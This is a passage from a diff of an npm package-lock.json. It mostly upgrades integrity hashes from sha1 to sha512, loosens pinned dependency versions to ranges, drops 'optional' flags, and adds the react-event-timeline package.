"sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", "dev": true, "requires": { @@ -3420,8 +3419,8 @@ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", "requires": { - "argparse": "1.0.9", - "esprima": "4.0.1" + "argparse": "^1.0.7", + "esprima": "^4.0.0" } }, "parse-json": { @@ -3429,8 +3428,8 @@ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", "requires": { - "error-ex": "1.3.2", - "json-parse-better-errors": "1.0.2" + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" } } } @@ -5271,7 +5270,7 @@ "find-root": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", - "integrity": "sha1-q8/Iunb3CMQql7PWhbfpRQv7nOQ=" + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" }, "find-up": { "version": "1.1.2", @@ -5523,15 +5522,14 @@ "dev": true, "optional": true, "requires": { - "co": "4.6.0", - "json-stable-stringify": "1.0.1" + "co": "^4.6.0", + "json-stable-stringify": "^1.0.1" } }, "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.1.1", @@ -5582,8 +5580,7 @@ "balanced-match": { "version": "0.4.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "bcrypt-pbkdf": { "version": "1.0.1", @@ -5598,7 +5595,6 @@ "version": "0.0.9", "bundled": true, "dev": true, - "optional": true, "requires": { "inherits": "~2.0.0" } @@ -5607,7 +5603,6 @@ "version": "2.10.1", "bundled": true, "dev": true, - "optional": true, "requires": { "hoek": "2.x.x" } @@ -5616,7 +5611,6 @@ "version": "1.1.7", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "^0.4.1", "concat-map": "0.0.1" @@ -5625,8 +5619,7 @@ "buffer-shims": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "caseless": { "version": "0.12.0", @@ -5643,14 +5636,12 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "combined-stream": { "version": "1.0.5", "bundled": true, "dev": true, - "optional": true, "requires": { "delayed-stream": "~1.0.0" } @@ -5658,20 +5649,17 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "cryptiles": { "version": "2.0.5", @@ -5717,8 +5705,7 @@ "delayed-stream": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "delegates": { "version": "1.0.0", @@ -5732,7 +5719,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "0.1.1" + "jsbn": "~0.1.0" } }, "extend": { @@ -5744,8 +5731,7 @@ "extsprintf": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "forever-agent": { "version": "0.6.1", @@ -5767,14 +5753,12 @@ "fs.realpath": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "fstream": { "version": "1.0.11", "bundled": true, "dev": true, - "optional": true, "requires": { "graceful-fs": "^4.1.2", "inherits": "~2.0.0", @@ -5830,7 +5814,6 @@ "version": "7.1.2", "bundled": true, "dev": true, - "optional": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -5843,8 +5826,7 @@ "graceful-fs": { "version": "4.1.11", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "har-schema": { "version": "1.0.5", @@ -5858,8 +5840,8 @@ "dev": true, "optional": true, "requires": { - "ajv": "4.11.8", - "har-schema": "1.0.5" + "ajv": "^4.9.1", + "har-schema": "^1.0.5" } }, "has-unicode": { @@ -5883,8 +5865,7 @@ "hoek": { "version": "2.16.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "http-signature": { "version": "1.1.1", @@ -5901,7 +5882,6 @@ "version": "1.0.6", "bundled": true, "dev": true, - "optional": true, "requires": { "once": "^1.3.0", "wrappy": "1" @@ -5910,8 +5890,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.4", @@ -5923,7 +5902,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -5937,8 +5915,7 @@ "isarray": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "isstream": { "version": "0.1.2", @@ -5952,7 +5929,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "0.1.1" + "jsbn": "~0.1.0" } }, "jsbn": { @@ -5973,7 +5950,7 @@ "dev": true, "optional": true, "requires": { - "jsonify": "0.0.0" + "jsonify": "~0.0.0" } }, "json-stringify-safe": { @@ -6011,14 +5988,12 @@ "mime-db": { "version": "1.27.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "mime-types": { "version": "2.1.15", "bundled": true, "dev": true, - "optional": true, "requires": { "mime-db": "~1.27.0" } @@ -6027,7 +6002,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "^1.1.7" } @@ -6035,14 +6009,12 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "mkdirp": { "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -6095,8 +6067,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "oauth-sign": { "version": "0.8.2", @@ -6114,7 +6085,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1" } @@ -6144,8 +6114,7 @@ "path-is-absolute": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "performance-now": { "version": "0.2.0", @@ -6156,8 +6125,7 @@ "process-nextick-args": { "version": "1.0.7", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "punycode": { "version": "1.4.1", @@ -6195,7 +6163,6 @@ "version": "2.2.9", "bundled": true, "dev": true, - "optional": true, "requires": { "buffer-shims": "~1.0.0", "core-util-is": "~1.0.0", @@ -6240,7 +6207,6 @@ "version": "2.6.1", "bundled": true, "dev": true, - "optional": true, "requires": { "glob": "^7.0.5" } @@ -6248,8 +6214,7 @@ "safe-buffer": { "version": "5.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "semver": { "version": "5.3.0", @@ -6307,7 +6272,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -6318,7 +6282,6 @@ "version": "1.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "^5.0.1" } @@ -6333,7 +6296,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -6348,7 +6310,6 @@ "version": "2.2.1", "bundled": true, "dev": true, - "optional": true, "requires": { "block-stream": "*", "fstream": "^1.0.2", @@ -6404,8 +6365,7 @@ "util-deprecate": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "uuid": { "version": "3.0.1", @@ -6434,15 +6394,14 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, "fstream": { "version": "1.0.12", "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", - "integrity": "sha1-Touo7i1Ivk99DeUFRVVI6uWTIEU=", + "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", "requires": { "graceful-fs": "^4.1.2", "inherits": "~2.0.0", @@ -6500,7 +6459,7 @@ "gaze": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", - "integrity": "sha1-xEFzPhO5J6yMD/C0w7Az8ogSkko=", + "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", "requires": { "globule": "^1.0.0" } @@ -6570,7 +6529,6 @@ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", "dev": true, - "optional": true, "requires": { "is-glob": "^2.0.0" } @@ -6614,7 +6572,7 @@ "globule": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz", - "integrity": "sha1-Xf+xsZHyLSB5epNptJ6rTpg5aW0=", + "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==", "requires": { "glob": "~7.1.1", "lodash": "~4.17.10", @@ -7820,8 +7778,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=", - "dev": true, - "optional": true + "dev": true }, "is-finite": { "version": "1.0.2", @@ -7841,7 +7798,6 @@ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", "dev": true, - "optional": true, "requires": { "is-extglob": "^1.0.0" } @@ -7906,8 +7862,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", - "dev": true, - "optional": true + "dev": true }, "is-promise": { "version": "2.1.0", @@ -8070,7 +8025,7 @@ "js-base64": { "version": "2.5.1", "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.1.tgz", - "integrity": "sha1-Hvo57yxfeYC7F4St5KivLeMpESE=" + "integrity": "sha512-M7kLczedRMYX4L8Mdh4MzyAMM9O5osx+4FcOQuTvr3A9F2D9S5JXheN0ewNbrvK2UatkTRhL5ejGmGSjNMiZuw==" }, "js-file-download": { "version": "0.4.4", @@ -8617,7 +8572,7 @@ "dev": true, "optional": true, "requires": { - "minimatch": "3.0.4" + "minimatch": "^3.0.4" } }, "inflight": { @@ -8648,7 +8603,7 @@ "dev": true, "optional": true, "requires": { - "number-is-nan": "1.0.1" + "number-is-nan": "^1.0.0" } }, "isarray": { @@ -8757,8 +8712,8 @@ "dev": true, "optional": true, "requires": { - "ignore-walk": "3.0.1", - "npm-bundled": "1.0.3" + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1" } }, "npmlog": { @@ -9554,8 +9509,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", - "dev": true, - "optional": true + "dev": true }, "loose-envify": { "version": "1.3.1", @@ -10100,7 +10054,7 @@ "node-fetch": { "version": "1.7.3", "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", - "integrity": "sha1-mA9vcthSEaU0fGsrwYxbhMPrR+8=", + "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", "requires": { "encoding": "^0.1.11", "is-stream": "^1.0.1" @@ -10115,7 +10069,7 @@ "node-gyp": { "version": "3.8.0", "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", - "integrity": "sha1-VAMEJhwzDoDQ1e3OJTpoyzlkIYw=", + "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", "requires": { "fstream": "^1.0.0", "glob": "^7.0.3", @@ -10134,7 +10088,7 @@ "ajv": { "version": "6.10.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", - "integrity": "sha1-kNDVRDnaWHzX6EO/twRfUL0ivfE=", + "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", "requires": { "fast-deep-equal": "^2.0.1", "fast-json-stable-stringify": "^2.0.0", @@ -10145,12 +10099,12 @@ "aws4": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", - "integrity": "sha1-8OAD2cqef1nHpQiUXXsu+aBKVC8=" + "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==" }, "extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo=" + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" }, "fast-deep-equal": { "version": "2.0.1", @@ -10160,7 +10114,7 @@ "har-validator": { "version": "5.1.3", "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", - "integrity": "sha1-HvievT5JllV2de7ZiTEQ3DUPoIA=", + "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", "requires": { "ajv": "^6.5.5", "har-schema": "^2.0.0" @@ -10169,17 +10123,17 @@ "json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA=" + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" }, "mime-db": { "version": "1.40.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", - "integrity": "sha1-plBX6ZjbCQ9zKmj2wnbTh9QSbDI=" + "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==" }, "mime-types": { "version": "2.1.24", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", - "integrity": "sha1-tvjQs+lR77d97eyhlM/20W9nb4E=", + "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", "requires": { "mime-db": "1.40.0" } @@ -10187,17 +10141,17 @@ "oauth-sign": { "version": "0.9.0", "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", - "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU=" + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" }, "psl": { "version": "1.1.32", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", - "integrity": "sha1-PxMnF88vnBaXJLK2yvNzz2lBmNs=" + "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" }, "request": { "version": "2.88.0", "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", - "integrity": "sha1-nC/KT301tZLv5Xx/ClXoEFIST+8=", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", "requires": { "aws-sign2": "~0.7.0", "aws4": "^1.8.0", @@ -10224,7 +10178,7 @@ "safe-buffer": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0=" + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" }, "semver": { "version": "5.3.0", @@ -10234,7 +10188,7 @@ "tough-cookie": { "version": "2.4.3", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", - "integrity": "sha1-U/Nto/R3g7CSWvoG/587FlKA94E=", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", "requires": { "psl": "^1.1.24", "punycode": "^1.4.1" @@ -10243,7 +10197,7 @@ "uuid": { "version": "3.3.2", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha1-G0r0lV6zB3xQHCOHL8ZROBFYcTE=" + "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" } } }, @@ -10325,7 +10279,7 @@ "node-sass": { "version": "4.12.0", "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz", - "integrity": "sha1-CRT1MZMjgBFKMMxfpPpjIzol8Bc=", + "integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==", "requires": { "async-foreach": "^0.1.3", "chalk": "^1.1.1", @@ -10349,7 +10303,7 @@ "ajv": { "version": "6.10.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", - "integrity": "sha1-kNDVRDnaWHzX6EO/twRfUL0ivfE=", + "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", "requires": { "fast-deep-equal": "^2.0.1", "fast-json-stable-stringify": "^2.0.0", @@ -10360,7 +10314,7 @@ "aws4": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", - "integrity": "sha1-8OAD2cqef1nHpQiUXXsu+aBKVC8=" + "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==" }, "cross-spawn": { "version": "3.0.1", @@ -10374,7 +10328,7 @@ "extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo=" + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" }, "fast-deep-equal": { "version": "2.0.1", @@ -10384,7 +10338,7 @@ "har-validator": { "version": "5.1.3", "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", - "integrity": "sha1-HvievT5JllV2de7ZiTEQ3DUPoIA=", + "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", "requires": { "ajv": "^6.5.5", "har-schema": "^2.0.0" @@ -10393,22 +10347,22 @@ "json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA=" + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" }, "lodash": { "version": "4.17.11", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", - "integrity": "sha1-s56mIp72B+zYniyN8SU2iRysm40=" + "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==" }, "mime-db": { "version": "1.40.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", - "integrity": "sha1-plBX6ZjbCQ9zKmj2wnbTh9QSbDI=" + "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==" }, "mime-types": { "version": "2.1.24", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", - "integrity": "sha1-tvjQs+lR77d97eyhlM/20W9nb4E=", + "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", "requires": { "mime-db": "1.40.0" } @@ -10421,17 +10375,17 @@ "oauth-sign": { "version": "0.9.0", "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", - "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU=" + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" }, "psl": { "version": "1.1.32", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", - "integrity": "sha1-PxMnF88vnBaXJLK2yvNzz2lBmNs=" + "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" }, "request": { "version": "2.88.0", "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", - "integrity": "sha1-nC/KT301tZLv5Xx/ClXoEFIST+8=", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", "requires": { "aws-sign2": "~0.7.0", "aws4": "^1.8.0", @@ -10458,12 +10412,12 @@ "safe-buffer": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0=" + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" }, "tough-cookie": { "version": "2.4.3", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", - "integrity": "sha1-U/Nto/R3g7CSWvoG/587FlKA94E=", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", "requires": { "psl": "^1.1.24", "punycode": "^1.4.1" @@ -10472,7 +10426,7 @@ "uuid": { "version": "3.3.2", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha1-G0r0lV6zB3xQHCOHL8ZROBFYcTE=" + "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" } } }, @@ -13227,7 +13181,7 @@ "npmlog": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", - "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=", + "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", "requires": { "are-we-there-yet": "~1.1.2", "console-control-strings": "~1.1.0", @@ -13497,7 +13451,7 @@ "osenv": { "version": "0.1.5", "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", - "integrity": "sha1-hc36+uso6Gd/QW4odZK18/SepBA=", + "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", "requires": { "os-homedir": "^1.0.0", "os-tmpdir": "^1.0.0" @@ -13730,7 +13684,7 @@ "path-parse": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", - "integrity": "sha1-1i27VnlAXXLEc37FhgDp3c8G0kw=" + "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==" }, "path-to-regexp": { "version": "0.1.7", @@ -14005,7 +13959,7 @@ "promise": { "version": "7.3.1", "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", "requires": { "asap": "~2.0.3" } @@ -14360,6 +14314,15 @@ "scheduler": "^0.11.2" } }, + "react-event-timeline": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/react-event-timeline/-/react-event-timeline-1.6.3.tgz", + "integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==", + "dev": true, + "requires": { + "prop-types": "^15.6.0" + } + }, "react-fa": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz", @@ -14600,7 +14563,7 @@ "react-spinners": { "version": "0.5.4", "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.5.4.tgz", - "integrity": "sha1-WBZvi/hMvwbdesytS5SleXz+qbk=", + "integrity": "sha512-jo7BE8prvnZNL7xNrQL16geVXH6LmaWrhvvXnmUwz2MhFO14bhlAdCLuKCwqmUJ37kGphH0C2CJRThwkjfpVzw==", "requires": { "@emotion/core": "^10.0.4", "prop-types": "^15.5.10", @@ -14648,7 +14611,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "requires": { - "js-tokens": "3.0.2" + "js-tokens": "^3.0.0 || ^4.0.0" } } } @@ -14751,7 +14714,7 @@ "recompose": { "version": "0.30.0", "resolved": "https://registry.npmjs.org/recompose/-/recompose-0.30.0.tgz", - "integrity": "sha1-gnc2QbOSfox9JKDYfWWu66GKq9A=", + "integrity": "sha512-ZTrzzUDa9AqUIhRk4KmVFihH0rapdCSMFXjhHbNrjAWxBuUD/guYlyysMnuHjlZC/KRiOKRtB4jf96yYSkKE8w==", "requires": { "@babel/runtime": "^7.0.0", "change-emitter": "^0.1.2", @@ -15047,7 +15010,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" + "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" }, "resolve-url": { "version": "0.2.1", @@ -15242,7 +15205,7 @@ "sass-loader": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.1.0.tgz", - "integrity": "sha1-Fv1ROMuLQkv4p1lSihly1yqtBp0=", + "integrity": "sha512-+G+BKGglmZM2GUSfT9TLuEp6tzehHPjAMoRRItOojWIqIGPloVCMhNIQuG639eJ+y033PaGTSjLaTHts8Kw79w==", "requires": { "clone-deep": "^2.0.1", "loader-utils": "^1.0.1", @@ -15255,12 +15218,12 @@ "big.js": { "version": "5.2.2", "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", - "integrity": "sha1-ZfCvOC9Xi83HQr2cKB6cstd2gyg=" + "integrity": 